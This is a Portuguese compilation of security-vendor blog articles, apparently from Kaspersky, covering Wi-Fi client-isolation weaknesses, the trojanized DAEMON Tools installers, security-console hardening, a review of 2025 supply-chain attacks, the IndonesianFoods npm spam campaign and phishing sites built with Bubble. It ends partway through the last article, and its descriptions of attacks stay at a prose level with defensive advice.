Os pesquisadores destacam que qualquer administrador de rede ou equipe de segurança de TI que leve a proteção a sério deve testar suas próprias configurações. Essa é a única maneira de identificar exatamente quais ameaças se aplicam ao ambiente da organização.

Como proteger a rede corporativa contra o AirSnitch

O risco é maior para organizações que operam redes Wi-Fi de visitantes e corporativa no mesmo ponto de acesso, sem segmentação adicional por VLAN. Também há riscos significativos para empresas que utilizam RADIUS com configurações desatualizadas ou segredos compartilhados fracos para autenticação sem fio.

Em resumo, é preciso deixar de tratar o isolamento de clientes como uma medida real de segurança e passar a vê-lo apenas como um recurso de conveniência. A segurança real precisa ser tratada de outra forma:

• Segmentar a rede com VLANs. Cada SSID deve ter sua própria VLAN, com marcação de pacotes 802.1Q aplicada de ponta a ponta: do ponto de acesso até o firewall ou roteador.
• Implementar inspeção de pacotes mais rigorosa no nível de roteamento, dependendo dos recursos de hardware. Recursos como Inspeção dinâmica de ARP, DHCP snooping e limitação do número de endereços MAC por porta ajudam a proteger contra a falsificação de IP/MAC.
• Ativar chaves GTK individuais por cliente, se o equipamento for compatível.
• Usar configurações mais robustas de RADIUS e 802.1X, incluindo conjuntos de cifras modernos e segredos compartilhados robustos.
• Registrar e analisar anomalias de autenticação EAP/RADIUS no SIEM. Isso ajuda a identificar diversas tentativas de ataque além do AirSnitch. Outros sinais de alerta a serem observados incluem um mesmo endereço MAC aparecendo em diferentes SSIDs, picos de solicitações ARP ou clientes alternando rapidamente entre BSSIDs ou VLANs.
• Aplicar segurança em camadas superiores na topologia de rede. Muitos desses ataques perdem força se a organização tiver implementado TLS e HSTS de forma abrangente em todo o tráfego de aplicações corporativas, exigir o uso de VPN ativa em todas as conexões Wi-Fi ou tiver adotado plenamente uma arquitetura de confiança zero.

Nossos especialistas descobriram um ataque à cadeia de suprimentos em grande escala via DAEMON Tools – software para emulação de unidades ópticas. Os invasores conseguiram injetar código malicioso nos instaladores do software, e todos os arquivos executáveis trojanizados estão assinados com uma assinatura digital válida da AVB Disc Soft – a desenvolvedora do DAEMON Tools. A versão maliciosa do programa está em circulação desde 8 de abril de 2026. No momento da redação deste artigo, o ataque ainda está em andamento. Os pesquisadores da Kaspersky acreditam que se trata de um ataque direcionado.

Quais são os riscos de instalar a versão maliciosa do DAEMON Tools?

Depois que o software infectado com trojan é instalado no computador da vítima, um arquivo malicioso é executado toda vez que o sistema é inicializado – enviando uma solicitação a um servidor de comando e controle. Em resposta, o servidor pode enviar um comando para baixar e executar cargas maliciosas adicionais.

Primeiro, os invasores implantam um coletor de informações que reúne o endereço MAC, o nome do host, o nome de domínio DNS, listas de processos em execução e de softwares instalados, além das configurações de idioma. O malware então envia essas informações para o servidor de comando e controle.

Em alguns casos, em resposta às informações coletadas, o servidor de comando envia um backdoor minimalista para a máquina da vítima. Ele é capaz de baixar cargas maliciosas adicionais, executar comandos de shell e rodar módulos de shellcode na memória.

O backdoor pode ser usado para implantar um implantado mais sofisticado chamado QUIC RAT. Ele suporta vários protocolos de comunicação com o servidor de comando e controle e é capaz de injetar cargas maliciosas nos processos notepad.exe e conhost.exe.

Informações técnicas mais detalhadas, juntamente com indicadores de comprometimento, podem ser encontradas no artigo dos especialistas no blog Securelist.

Quem está sendo alvo?

Desde o início de abril, foram detectadas várias milhares de tentativas de instalar cargas maliciosas adicionais por meio do software DAEMON Tools infectado. A maioria dos dispositivos infectados pertencia a usuários domésticos, mas aproximadamente 10% das tentativas de instalação foram detectadas em sistemas em execução em organizações. Geograficamente, as vítimas estavam espalhadas por cerca de cem países e territórios diferentes. A maioria das vítimas estava localizada na Rússia, Brasil, Turquia, Espanha, Alemanha, França, Itália e China.

Na maioria das vezes, o ataque se limitava à instalação de um coletor de informações. O backdoor infectou apenas uma dúzia de máquinas em organizações governamentais, científicas e de manufatura, bem como em empresas de varejo na Rússia, Bielorrússia e Tailândia.

O que exatamente foi infectado

O código malicioso foi detectado nas versões do DAEMON Tools que vão da 12.5.0.2421 à 12.5.0.2434. Os invasores comprometeram os arquivos DTHelper.exe, DiscSoftBusServiceLite.exe e DTShellHlp.exe, que estão instalados no diretório principal do DAEMON Tools.

Como se proteger?

Se o software DAEMON Tools for utilizado no seu computador (ou em qualquer outro local da sua organização), nossos especialistas recomendam verificar minuciosamente os computadores nos quais ele está instalado em busca de qualquer atividade incomum a partir de 8 de abril.

Além disso, recomendamos o uso de soluções de segurança confiáveis em todos os computadores domésticos e corporativos usados para acessar a internet. Nossas soluções protegem com sucesso os usuários contra todos os malwares usados no ataque à cadeia de suprimentos via DAEMON Tools.

As empresas atuam de forma sistemática para reduzir a superfície de ataque. Eles segmentam redes, gerenciam vulnerabilidades, implementam EDR/XDR e buscam automatizar as respostas a incidentes. Por mais paradoxal que pareça, muitas vezes ignoram um ponto crucial: a segurança das próprias ferramentas que gerenciam todo o sistema de defesa.

Isso pode acontecer por um ponto cego de percepção. É comum presumir que, por ter implementado todas as soluções de segurança necessárias, a organização já está protegida. Na prática, qualquer software adicional, inclusive de segurança, amplia a superfície de ataque. Isso significa que essas ferramentas também precisam ser protegidas, começando por um ajuste adequado das configurações.

Por que a violação de um console de segurança é um cenário crítico?

As ferramentas de segurança são tão robustas quanto o ambiente em que operam. Se um invasor conseguir acessar a infraestrutura e assumir o controle do console de gerenciamento, ele passa a ter controle total do ambiente. É como uma chave mestra, que dá acesso direto ao gerenciamento centralizado de políticas, monitoramento de endpoints, integrações de API e outros recursos.

Nesse cenário, o invasor não precisa perder tempo para buscar formas sofisticadas de contornar defesas, basta alterar as configurações. Com acesso ao console, o invasor elimina as etapas mais difíceis de um ataque:

• não precisa mapear a rede, pois o console oferece uma visão completa da infraestrutura e da arquitetura de segurança de forma imediata.
• não precisa ocultar atividades maliciosas, podendo apenas ajustar políticas, desativar ferramentas ou silenciar alertas.
• em vez de distribuir cargas maliciosas de forma discreta, pode usar os próprios recursos do console para instalar softwares e atualizações em massa.

Por isso o comprometimento da camada de controle é tão perigoso. Uma abordagem proativa de cibersegurança não depende da quantidade de ferramentas, mas da resiliência da arquitetura de segurança. Se a camada de controle for o ponto fraco, nenhum software avançado diminuirá esse risco.

Como proteger o console de segurança

Em teoria, a maioria dos sistemas de gerenciamento já conta com os recursos necessários para reforçar a proteção. Qual é o problema? Essas medidas, até as mais básicas como autenticação em dois fatores, costumam estar disponíveis, mas não são obrigatórias. As recomendações de segurança são publicadas, mas nem sempre aplicadas de uma maneira consistente. Em alguns casos, são simplesmente ignoradas. Pior ainda, configurações críticas ativadas por padrão podem ser desativadas com um clique, afetando todos os usuários imediatamente. Sejamos honestos: muitas vezes esses recursos são desativados por conveniência.

No mundo real, isso faz com que a segurança acabe dependendo da disciplina individual do administrador. Porém, a disciplina não substitui um mecanismo estrutural de defesa.

A abordagem moderna prioriza o modelo seguro por padrão na proteção da camada de controle. Nesse modelo, as proteções críticas estão integradas à configuração básica, com restrições na capacidade de desativação global. Assim, a segurança deixa de ser opcional.

O objetivo é eliminar incertezas em termos de segurança das ferramentas defensivas e reduzir a superfície de ataque no nível de gerenciamento.

Como implementamos essa abordagem no Kaspersky Security Center Linux

Nossos produtos estão evoluindo de forma consistente para um modelo em que mecanismos críticos fazem parte da arquitetura básica, e não são opcionais. Lançamos recentemente a versão 16.1 do Kaspersky Security Center Linux, que incorpora essa mudança ao reforçar o controle de acesso ao console. Agora, a autenticação de dois fatores está ativada por padrão, e a possibilidade de desativação global foi removida. Antes de atualizar, é necessário garantir que todos os usuários utilizem autenticação de dois fatores (2FA), incluindo acessos pelo Web Console e automações com OpenAPI.

Isso estabelece uma proteção essencial para acessos privilegiados ao console. Reduz o risco de comprometimento de contas administrativas, protege canais de automação, diminui a probabilidade de uso indevido de APIs e elimina vulnerabilidades decorrentes de configurações opcionais. Dessa forma, a superfície de ataque é reduzida especificamente no gerenciamento da camada de controle.

No entanto, como já mencionado, o problema geralmente não é a falta de recursos, mas a ausência de controle sistemático sobre seu uso. Por exemplo, é comum haver administradores com privilégios excessivos ou configurações inseguras de conexão ao servidor. Já disponibilizamos um guia de reforço da proteção para o Kaspersky Security Center que aborda esses pontos em detalhe, mas, infelizmente, nem todos dedicam tempo para ler manuais técnicos extensos.

Para garantir que nada seja ignorado, reunimos uma lista de verificação estruturada para reforçar a segurança do Kaspersky Security Center Linux, versão 16.1. Esta lista de verificação:

• permite verificar se autenticação e acessos estão configurados corretamente
• ajuda a identificar usuários e funções com privilégios excessivos
• orienta sobre como restringir o acesso de rede ao console
• reforça a proteção de APIs
• fortalece os requisitos de criptografia
• garante a correta configuração de auditoria e logs
• reduz o risco de falhas de configuração

Essencialmente, é uma ferramenta de auditoria sistemática da camada de controle. Ela evita que o console se torne um ponto de entrada ou facilite a movimentação lateral de invasores. Quanto menos configurações críticas dependerem do usuário, menor o risco de erro ou comprometimento.

Autenticação reforçada e reforço estruturado do console não são ajustes pontuais, mas uma abordagem mais robusta de gestão de segurança. A proposta é evoluir essa camada de forma contínua, reduzindo a superfície de ataque não só nos endpoints, mas também no próprio sistema de gerenciamento. Saiba mais sobre o Kaspersky Security Center na página do console e acesse a lista de verificação de proteção disponível no site de suporte técnico.

Os ataques a cadeias de suprimentos têm sido uma das categorias mais perigosas de incidentes de cibersegurança há anos. Se o ano de 2025 nos ensinou alguma coisa, é que os cibercriminosos estão aumentando sua capacidade de ataque. Nesta análise detalhada, veremos ataques a cadeias de suprimentos realizados em 2025 que, embora não sejam os que causaram maiores prejuízos financeiros, certamente foram os mais incomuns e chamaram a atenção do setor.

Janeiro de 2025: um RAT encontrado no repositório do GitHub do DogWifTools

Como um “aquecimento” após o fim de ano, os cibercriminosos realizaram inúmeros ataques de backdoor a várias versões do DogWifTools. Trata-se de um utilitário projetado para lançar e promover vigorosamente moedas de meme baseadas em Solana no Pump.fun. Depois de comprometer o repositório privado do GitHub para o DogWifTools, os invasores esperaram os desenvolvedores carregarem uma nova versão do utilitário, injetaram um RAT nela e trocaram o programa legítimo por uma versão maliciosa apenas algumas horas depois. De acordo com os desenvolvedores, os agentes de ameaças instalaram com êxito as versões 1.6.3 a 1.6.6 do DogWifTools para Windows.

O golpe final foi dado no fim de janeiro. Depois de usar o RAT para coletar uma grande quantidade de dados dos dispositivos infectados, os invasores esvaziaram as carteiras de criptomoedas das vítimas. As vítimas estimaram o total de mais de USD 10 milhões em criptomoedas, mas os invasores contestaram esse número, embora não tenham revelado exatamente o valor total roubado.

Fevereiro de 2025: roubo de USD 1,5 bilhão do Bybit

Se janeiro foi só o aquecimento, o mês de fevereiro foi um colapso total. A invasão da plataforma de câmbio de criptomoedas Bybit superou completamente os incidentes anteriores, tornando-se o maior roubo de criptomoedas da história. Os invasores conseguiram comprometer o software Safe{Wallet}, a solução de armazenamento a frio de múltiplas assinaturas na qual a empresa confiava para gerenciar os seus ativos.

Os funcionários da Bybit pensaram que estavam assinando uma transação de rotina. Na realidade, eles estavam autorizando um contrato inteligente malicioso. Uma vez executado, ele esvaziou os fundos de uma carteira fria principal e os distribuiu em várias centenas de endereços controlados pelo invasor. A transferência final ultrapassou 400 mil ETH/stETH, com um impressionante valor total de aproximadamente… USD 1,5 bilhão!

Março de 2025: Coinbase é alvo de comprometimento em cascata do GitHub Actions

O ano de 2025 seguiu com um ataque sofisticado que usou o comprometimento de vários GitHub Actions, os padrões de fluxo de trabalho usados para automatizar tarefas de DevOps padrão, como seu principal mecanismo de entrega. Tudo começou com o roubo de um token de acesso pessoal pertencente a um mantenedor da ferramenta de análise SpotBugs. Usando esse ponto de apoio, os invasores publicaram um processo malicioso e conseguiram sequestrar um token de um mantenedor do fluxo de trabalho reviewdog/action-setup, que também estava envolvido no projeto.

A partir daí, eles comprometeram uma dependência, o fluxo de trabalho tj-actions/changed-files, modificando-o para executar um script Python malicioso. Esse script foi projetado para procurar segredos de alto valor, como chaves da AWS, do Azure e do Google Cloud, tokens do GitHub e do NPM, credenciais de banco de dados e chaves privadas do RSA. Por incrível que pareça, o script gravou tudo o que encontrou diretamente nos registros de compilação acessíveis ao público em geral. Isso significa que os dados vazados não estavam disponíveis apenas para os invasores, mas também para qualquer pessoa experiente o suficiente para acessá-los.

O alvo original dessa operação era um repositório pertencente à plataforma de câmbio de criptomoedas Coinbase. Felizmente, os desenvolvedores detectaram a ameaça a tempo e impediram o comprometimento. Ao que tudo indica, depois de perceberem que estavam prestes a perder o controle do pipeline tj-actions/changed-files, os invasores adotaram uma abordagem indiscriminada. Isso colocou 23 mil repositórios em risco de vazamento de segredos. No final, várias centenas desses repositórios realmente tiveram suas credenciais confidenciais expostas ao público.

Abril de 2025: um backdoor em 21 extensões do Magento

Em abril, uma infecção foi descoberta em um amplo conjunto de extensões do Magento, uma das plataformas mais populares para a criação de lojas on-line. O backdoor foi incorporado em 21 módulos desenvolvidos por três fornecedores: Tigren, Meetanshi e MGS. As extensões faziam parte da infraestrutura de várias centenas de empresas de comércio eletrônico, incluindo pelo menos uma corporação multinacional.

De acordo com os pesquisadores que o descobriram, o backdoor na verdade foi implantado em 2019. Em abril de 2025, os invasores o acionaram para comprometer sites e fazer o upload de web shells. Isso foi feito por meio de uma função incorporada nas extensões que executava um código arbitrário extraído de um arquivo de licença.

Por ironia, os módulos infectados incluíam o MGS GDPR e o Meetanshi CookieNotice. Como os nomes sugerem, essas extensões foram projetadas para ajudar os sites a cumprir os regulamentos de privacidade e processamento de dados dos usuários. Por fim, em vez de garantir a privacidade, o uso deles provavelmente levou ao roubo de dados e ativos financeiros do usuário por meio de skimming digital.

Maio de 2025: ransomware distribuído por meio de um MSP comprometido

Em maio, os agentes de ransomware da gangue DragonForce obtiveram acesso à infraestrutura de um provedor de serviços gerenciados (MSP) não identificado e a usaram para distribuir um ransomware e roubar dados das organizações clientes do MSP.

Ao que tudo indica, os invasores exploraram várias vulnerabilidades (incluindo uma falha crítica) no SimpleHelp, a ferramenta de monitoramento e gerenciamento remoto usada pelo MSP. Essas vulnerabilidades foram descobertas em 2024 e divulgadas publicamente e corrigidas em janeiro de 2025. Infelizmente, ficou claro que o MSP optou por não acelerar o processo de atualização, um atraso que a gangue do ransomware ficou mais do que feliz em explorar.

Junho de 2025: um backdoor em mais de uma dúzia de pacotes npm populares

No início do verão, os invasores invadiram a conta de um dos mantenedores da biblioteca Glustack e usaram um token de acesso roubado para injetar backdoors em 17 pacotes npm. O mais popular desses pacotes, @react-native-aria/interactions, ostentava 125 mil downloads semanais, enquanto todos os pacotes comprometidos combinados totalizaram mais de um milhão.

O que é particularmente interessante nesse caso são as etapas que os desenvolvedores do Glustack seguiram após o incidente: primeiro, eles restringiram o acesso ao repositório GitHub para contribuidores secundários; segundo, eles ativaram a autenticação de dois fatores (2FA) para publicar novas versões; e terceiro, eles prometeram implementar práticas de desenvolvimento seguras, como fluxo de trabalho baseado em pull requests, revisões sistemáticas de código, registro de auditorias e assim por diante. Em outras palavras, antes do incidente, um projeto com centenas de milhares de downloads semanais não tinha tais medidas em vigor.

Julho de 2025: pacotes npm populares infectados por meio de um ataque de phishing

Em julho, os pacotes npm foram novamente as estrelas do show, incluindo o pacote amplamente usado chamado “is”, que possui 2,7 milhões de downloads semanais. Essa biblioteca de utilitários JavaScript fornece uma ampla variedade de funções de verificação de tipo e validação de valor. Para realizar um ataque de phishing contra um dos proprietários do projeto, os invasores utilizaram com êxito um truque antigo: o typosquatting (usar o domínio npnjs.com em vez de npmjs.com) e um clone do site oficial do npm.

Em seguida, eles usaram a conta comprometida para publicar várias das suas próprias versões do pacote com um backdoor incorporado. A infecção passou desapercebida por seis horas: tempo suficiente para um grande número de desenvolvedores baixarem os pacotes npm maliciosos.

A mesma tática de phishing foi usada contra outros desenvolvedores. Os invasores aproveitaram várias contas de desenvolvedores comprometidas para distribuir diferentes variantes de sua carga maliciosa. Há também uma forte suspeita de que eles podem ter guardado parte dessa carga para ataques futuros.

Agosto de 2025: o ataque s1ngularity e o vazamento de centenas de segredos dos desenvolvedores

No final de agosto, um incidente apelidado de “s1ngularity” continuou a tendência de atingir desenvolvedores de JavaScript. Os invasores comprometeram o Nx, um sistema de compilação popular e uma ferramenta de otimização de pipeline de CI/CD. O código malicioso injetado nos pacotes pesquisou diversos sistemas dos desenvolvedores infectados, acessando uma grande quantidade de dados confidenciais, como chaves de carteiras de criptomoedas, tokens do npm e do GitHub, chaves SSH, chaves de API e muito mais.

Curiosamente, os invasores usaram ferramentas de IA instaladas localmente, como Claude Code, Gemini CLI e Amazon Q, para detectar os segredos nas máquinas das vítimas. Tudo o que eles encontraram foi publicado nos repositórios públicos do GitHub criados em nome das vítimas, usando os títulos “s1ngularity-repository”, “s1ngularity-repository-0” e “s1ngularity-repository-1”. Como você deve ter adivinhado, é daí que vem o nome do ataque.

Consequentemente, os dados privados de centenas de desenvolvedores acabaram ficando à vista de todos e poderiam ser acessados não apenas pelos invasores, mas por absolutamente qualquer pessoa com uma conexão com a Internet.

Setembro de 2025: um stealer de criptomoedas ataca pacotes npm que têm 2,6 bilhões de downloads semanais

A tendência de comprometimentos de pacotes npm seguiu até setembro. Após uma nova campanha de phishing direcionada a desenvolvedores de JavaScript, os invasores conseguiram injetar código malicioso em algumas dezenas de projetos de alto nível. Alguns deles, especificamente “chalk” e “debug”, tiveram centenas de milhões de downloads semanais; coletivamente, os pacotes infectados estavam acumulando mais de 2,6 bilhões de downloads por semana no momento da violação, e eles se tornaram mais populares desde então.

A carga era um stealer de criptomoedas: um malware projetado para interceptar transações de criptomoeda e redirecioná-las para as carteiras dos invasores. Felizmente, apesar de infectar com sucesso alguns dos projetos mais populares do mundo, os invasores acabaram falhando no estágio final da operação. No final, eles ficaram com míseros USD 925.

Apenas uma semana depois, outro grande incidente ocorreu: a primeira onda do malware autopropagável Shai-Hulud, que infectou cerca de 150 pacotes npm, incluindo projetos da CrowdStrike. No entanto, a segunda onda, que ocorreu vários meses depois, provou ser muito mais destrutiva. Vamos analisar o Great Worm em mais detalhes a seguir.

Outubro de 2025: o GlassWorm infecta o ecossistema do Visual Studio Code

Cerca de um mês após o ataque do Shai-Hulud, um malware autopropagável semelhante denominado GlassWorm começou a infectar extensões do Visual Studio Code no Open VSX Registry e no Microsoft Extension Marketplace. Os invasores estavam procurando contas do GitHub, Git, npm e Open VSX, bem como chaves de carteiras de criptomoedas.

Os criadores do GlassWorm adotaram uma abordagem altamente criativa para sua infraestrutura de comando e controle: eles usaram uma carteira de criptomoedas no blockchain Solana como seu C2 principal, com o Google Agenda servindo como um canal de comunicação de backup.

Além de esvaziar as carteiras de criptomoedas das vítimas e sequestrar suas contas para espalhar o worm ainda mais, os invasores também injetaram um RAT chamado Zombi nos dispositivos infectados, obtendo controle total sobre os sistemas comprometidos.

Novembro de 2025: a campanha IndonesianFoods e 150 mil pacotes de spam no npm

Em novembro, um novo incômodo emergiu do repositório do npm. Uma campanha maliciosa coordenada apelidada de IndonesianFoods fez os invasores inundarem o repositório com dezenas de milhares de pacotes inúteis.

O objetivo principal era jogar com o sistema para inflar as métricas e os tokens de farm no tea.xyz, uma plataforma de blockchain projetada para recompensar os desenvolvedores de código aberto. Para conseguir isso, os invasores construíram uma enorme rede de projetos interdependentes com nomes que fazem referência à culinária indonésia, como zul-tapai9-kyuki e andi-rendang23-breki.

Os criadores da campanha não se deram ao trabalho de invadir contas. Estritamente falando, os pacotes de spam nem sequer continham um contêiner malicioso, a menos que você considere um script projetado para gerar automaticamente novos contêineres a cada sete segundos. No entanto, o incidente serviu como um lembrete de como a infraestrutura npm é vulnerável a campanhas de spam em larga escala.

Dezembro de 2025: Shai-Hulud 2.0 e o vazamento de 400 mil segredos de desenvolvedores

O destaque absoluto do ano, não apenas de ataques a cadeias de suprimentos, mas provavelmente para todo o campo de segurança cibernética, foi o malware autopropagável Shai-Hulud (também conhecido como Sha1-Hulud) contra desenvolvedores.

Esse malware foi a evolução lógica do ataque s1ngularity mencionado anteriormente: ele também vasculhou os sistemas em busca de todos os tipos de segredos e os publicou em repositórios GitHub abertos. No entanto, o Shai-Hulud adicionou um mecanismo de autopropagação à linha de base: o worm infectou projetos controlados por desenvolvedores já comprometidos usando as credenciais roubadas.

A primeira onda do Shai-Hulud ocorreu em setembro, infectando várias centenas de pacotes npm. No final do ano, a segunda onda chegou e foi batizada como Shai-Hulud 2.0.

Dessa vez, o worm foi atualizado com a funcionalidade de wiper. Se o malware não encontrasse tokens npm ou GitHub válidos em um sistema infectado, ele acionava uma carga destrutiva que apagava os arquivos do usuários.

Aproximadamente 400 mil segredos foram vazados no total como resultado do ataque. Vale a pena notar que, assim como no s1ngularity, todos os dados confidenciais acabaram publicados em repositórios públicos, onde poderiam ser baixados não apenas pelos invasores, mas por qualquer outra pessoa. E é altamente provável que as consequências desse ataque ainda sejam sentidas por um longo tempo.

Um dos primeiros casos confirmados de uma exploração usando segredos vazados pelo Shai-Hulud foi um roubo de criptomoeda visando vários milhares de usuários da Trust Wallet. Os invasores usaram esses segredos na véspera de Natal para carregar uma versão maliciosa da extensão Trust Wallet com um drenador de criptomoedas integrado para a Chrome Web Store. No final, eles conseguiram se safar com USD 8,5 milhões em criptomoedas.

Como se proteger contra ataques a cadeias de suprimentos

Ao elaborar uma retrospectiva semelhante para 2024, descobrimos que manter uma estrutura de “um mês, uma ameaça” é bastante fácil. Para 2025, no entanto, o caso foi muito mais grave. Houve tantos ataques maciços a cadeias de suprimentos no ano passado, que não conseguimos encaixá-los em uma visão geral.

O ano de 2026 está se mostrando igualmente intenso, por isso recomendamos verificar nossa postagem sobre a prevenção de ataques a cadeias de suprimentos. Enquanto isso, aqui estão as conclusões mais importantes:

• Avalie minuciosamente seus fornecedores e faça uma auditoria cuidadosa do código que você integra em seus projetos.
• Implemente requisitos de segurança rígidos diretamente em seus contratos de serviço.
• Desenvolva um plano abrangente de resposta a incidentes.
• Monitore atividades suspeitas em sua infraestrutura corporativa usando uma solução de XDR.
• Se a sua equipe de segurança interna estiver sobrecarregada, procure um serviço externo de identificação proativa de ameaças e resposta rápida.

Se quiser saber mais detalhes sobre os ataques a cadeias de suprimentos, confira o nosso relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção ao ecossistema digital global em uma era de interdependência). Ele se baseia em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos relacionados à cadeia de suprimentos e a relações de confiança, onde ainda existem lacunas de proteção e quais estratégias adotar para aumentar a resiliência contra esse tipo de ameaça.

O que as palavras bakso, sate e rendang trazem à mente? Para muitos, a resposta é “nada”; os amantes da gastronomia as reconhecerão como alimentos básicos da Indonésia. Já aqueles que seguem as notícias de segurança cibernética se lembrarão de um ataque ao ecossistema Node Package Manager (npm), a ferramenta que permite que os desenvolvedores usem bibliotecas pré-formatadas em vez de escrever cada linha de código do zero.

Em meados de novembro, o pesquisador de segurança Paul McCarty relatou a descoberta de uma campanha de spam destinada a sobrecarregar o repositório do npm. É claro que pacotes sem sentido já apareceram no repositório antes, mas, neste caso, dezenas de milhares de módulos foram encontrados sem nenhuma utilidade. O único objetivo deles era injetar dependências completamente desnecessárias em projetos.

Os nomes dos pacotes apresentavam nomes de pratos indonésios e termos culinários inseridos de forma aleatória, como bakso, sate e rendang, o que levou a campanha a receber o apelido “IndonesianFoods”. A escala foi impressionante: no momento da descoberta, aproximadamente 86 mil pacotes haviam sido identificados.

Abaixo, veremos como isso aconteceu e o que os invasores estavam realmente procurando.

Dentro da IndonesianFoods

À primeira vista, os pacotes da IndonesianFoods não pareciam lixo óbvio. Eles apresentavam estruturas padrão, arquivos de configuração válidos e até mesmo documentação bem formatada. De acordo com pesquisadores do Endor Labs, essa camuflagem permitiu que os pacotes permanecessem no repositório do npm por quase dois anos.

Não é como se os invasores tentassem a todo custo inserir suas criações em projetos externos. Em vez disso, eles simplesmente inundaram o ecossistema com um código de aparência legítima, esperando que alguém cometesse um erro de digitação ou selecionasse por engano sua biblioteca nos resultados da pesquisa. Não está claro exatamente o que alguém precisaria estar procurando para confundir um nome de pacote com um prato indonésio, mas a pesquisa original observa que pelo menos 11 projetos de alguma forma incluíram esses pacotes em suas compilações.

Uma pequena parte desses pacotes inúteis tinha um mecanismo de autorreplicação incorporado: uma vez instalados, eles criariam e publicariam novos pacotes no repositório do npm a cada sete segundos. Esses novos módulos apresentavam nomes aleatórios (também relacionados à culinária indonésia) e números de versão. Todos publicados, como seria de esperar, usando as credenciais da vítima.

Outros pacotes maliciosos integrados à plataforma blockchain TEA. O projeto TEA foi concebido para recompensar criadores de código aberto com tokens em proporção à popularidade e ao uso de suas criações, teoricamente operando em um modelo de “prova de contribuição”.

Uma parte significativa desses pacotes não continha funcionalidade real, mas muitas vezes carregavam uma dúzia de dependências que, como você pode imaginar, apontavam para outros projetos de spam dentro da mesma campanha. Assim, se uma vítima incluir por engano um desses pacotes maliciosos, ele carregará consigo diversos outros, alguns dos quais terão suas próprias dependências. O resultado é um projeto final com uma enorme quantidade de código redundante.

O que os invasores ganham com isso?

Há duas teorias principais. O mais óbvio é que toda essa elaborada campanha de spam foi projetada para explorar o protocolo TEA mencionado acima. Essencialmente, sem fazer nenhuma contribuição útil para a comunidade de código aberto, os invasores ganham tokens TEA, ou seja, ativos digitais padrão que podem ser trocados por outras criptomoedas em plataformas de negociação. Usando uma rede de dependências e mecanismos de autorreplicação, os invasores se passam por desenvolvedores de código aberto legítimos para inflar artificialmente a significância e as métricas de uso de seus pacotes. Nos arquivos README de determinados pacotes, os invasores até se gabam de seus ganhos.

No entanto, há uma teoria mais assustadora. Por exemplo, o pesquisador Garrett Calpouzos sugere que o que estamos vendo é apenas uma prova de conceito. A campanha da IndonesianFoods pode estar testando um novo método de entrega de malware destinado a ser vendido posteriormente a outros agentes de ameaças.

Por que você não quer lixo em seus projetos

À primeira vista, o perigo para as organizações de desenvolvimento de software pode não ser óbvio: com certeza, a IndonesianFoods desordena o ecossistema, mas não parece carregar uma ameaça imediata, como ransomware ou violações de dados.  No entanto, as dependências redundantes sobrecarregam o código e desperdiçam recursos no sistema do desenvolvedor. Além disso, pacotes inúteis publicados sob o nome de sua organização podem prejudicar seriamente sua reputação dentro da comunidade de desenvolvedores.

Também não podemos descartar a teoria de Calpouzos. Se esses pacotes de spam incorporados ao seu software receberem uma atualização que introduza uma funcionalidade realmente maliciosa, eles podem se tornar uma ameaça não apenas para a sua organização, mas também para seus usuários, evoluindo para um ataque completo à cadeia de suprimentos.

Como proteger sua organização

Os pacotes de spam não entram em um projeto sozinhos; sua instalação ocorre em um momento de distração do desenvolvedor. Portanto, recomendamos conscientizar regularmente os funcionários, mesmo os mais experientes, sobre as ameaças cibernéticas modernas. Nossa plataforma interativa de treinamento, a KASAP (Kaspersky Automated Security Awareness Platform), pode ajudar.

Além disso, você pode impedir a infecção usando uma solução especializada para proteger ambientes conteinerizados. Ela faz a verificação de imagens e dependências de terceiros, integra-se ao processo de compilação e monitora contêineres durante o tempo de execução.

Se quiser saber mais detalhes sobre os ataques contra a cadeia de suprimentos, deixamos aqui o nosso convite para consultar o relatório analítico Supply chain reaction: securing the global digital ecosystem in an age of interdependence (Reação em cadeia de suprimentos: proteção do ecossistema digital global em uma era de interdependência). Ele é baseado em insights de especialistas técnicos e revela com que frequência as organizações enfrentam riscos de cadeia de suprimentos e de relacionamento confiável e como estes são percebidos.

Uma variedade de criadores de aplicativos com tecnologia de IA promete dar vida às suas ideias com rapidez e facilidade. Infelizmente, sabemos exatamente quem está sempre à procura de novas ideias para dar vida, principalmente porque somos muito bons em identificar e bloquear as antigas. Estamos falando de phishers, é claro. Recentemente, descobrimos que eles adicionaram um novo truque ao seu arsenal: gerar sites usando o criador de aplicativos da Web com tecnologia IA Bubble. É muito provável que essa tática já esteja disponível em uma ou mais plataformas de phishing como serviço, o que praticamente garante que essas armadilhas começarão a aparecer em uma ampla variedade de ataques. Mas vamos detalhar em etapas.

Por que os phishers estão usando o Bubble?

Incluir um link direto para um site de phishing em um e-mail é um caminho sem volta para o fracasso. Há uma grande probabilidade de a mensagem nem chegar ao destino, pois os filtros de segurança provavelmente a bloquearão antes que o usuário a veja. Da mesma forma, o uso de redirecionamentos automatizados já está no radar das soluções de segurança modernas. E os QR codes? Embora fazer com que a vítima escaneie um código com o celular, em vez de clicar em um link, possa funcionar em teoria, os phishers inevitavelmente perdem tráfego nessa etapa: nem todo mundo está disposto a inserir credenciais corporativas em um dispositivo pessoal. É aqui que os serviços automatizados de geração de código socorrem os cibercriminosos.

O Bubble se posiciona como uma plataforma no-code para o desenvolvimento de aplicativos da Web e móveis. Essencialmente, um usuário descreve o que precisa em uma interface visual e a plataforma gera uma solução finalizada. Os phishers adotaram essa tecnologia para criar aplicativos da Web cujos endereços, depois, eles incorporam em seus e-mails de phishing. Embora a função real desses aplicativos se resuma ao mesmo antigo redirecionamento automatizado para um site malicioso, há algumas nuances específicas em jogo.

Primeiro, o aplicativo da Web resultante é hospedado diretamente nos servidores da plataforma. O URL pronto para uso em um e-mail de phishing se parece com https://%name%.bubble.io/. Do ponto de vista das soluções de segurança, parece ser um site legítimo e antigo.

Em segundo lugar, o código desse aplicativo da Web não se parece com um redirecionamento típico. Para ser honesto, é difícil dizer com o que ele se parece. O código gerado por essa plataforma no-code é uma enorme mistura de JavaScript e estruturas isoladas de Shadow DOM (Document Object Model). Mesmo para um especialista, é difícil entender o que está acontecendo à primeira vista; é preciso analisar o código a fundo para entender como tudo funciona e com qual objetivo. Os algoritmos automatizados de análise de código da Web têm ainda mais chances de falhar, frequentemente chegando ao veredicto de que é apenas um site funcional e útil.

Um fragmento de código de aplicativo da Web hospedado na plataforma Bubble

O que são essas plataformas de phishing e qual é o objetivo?

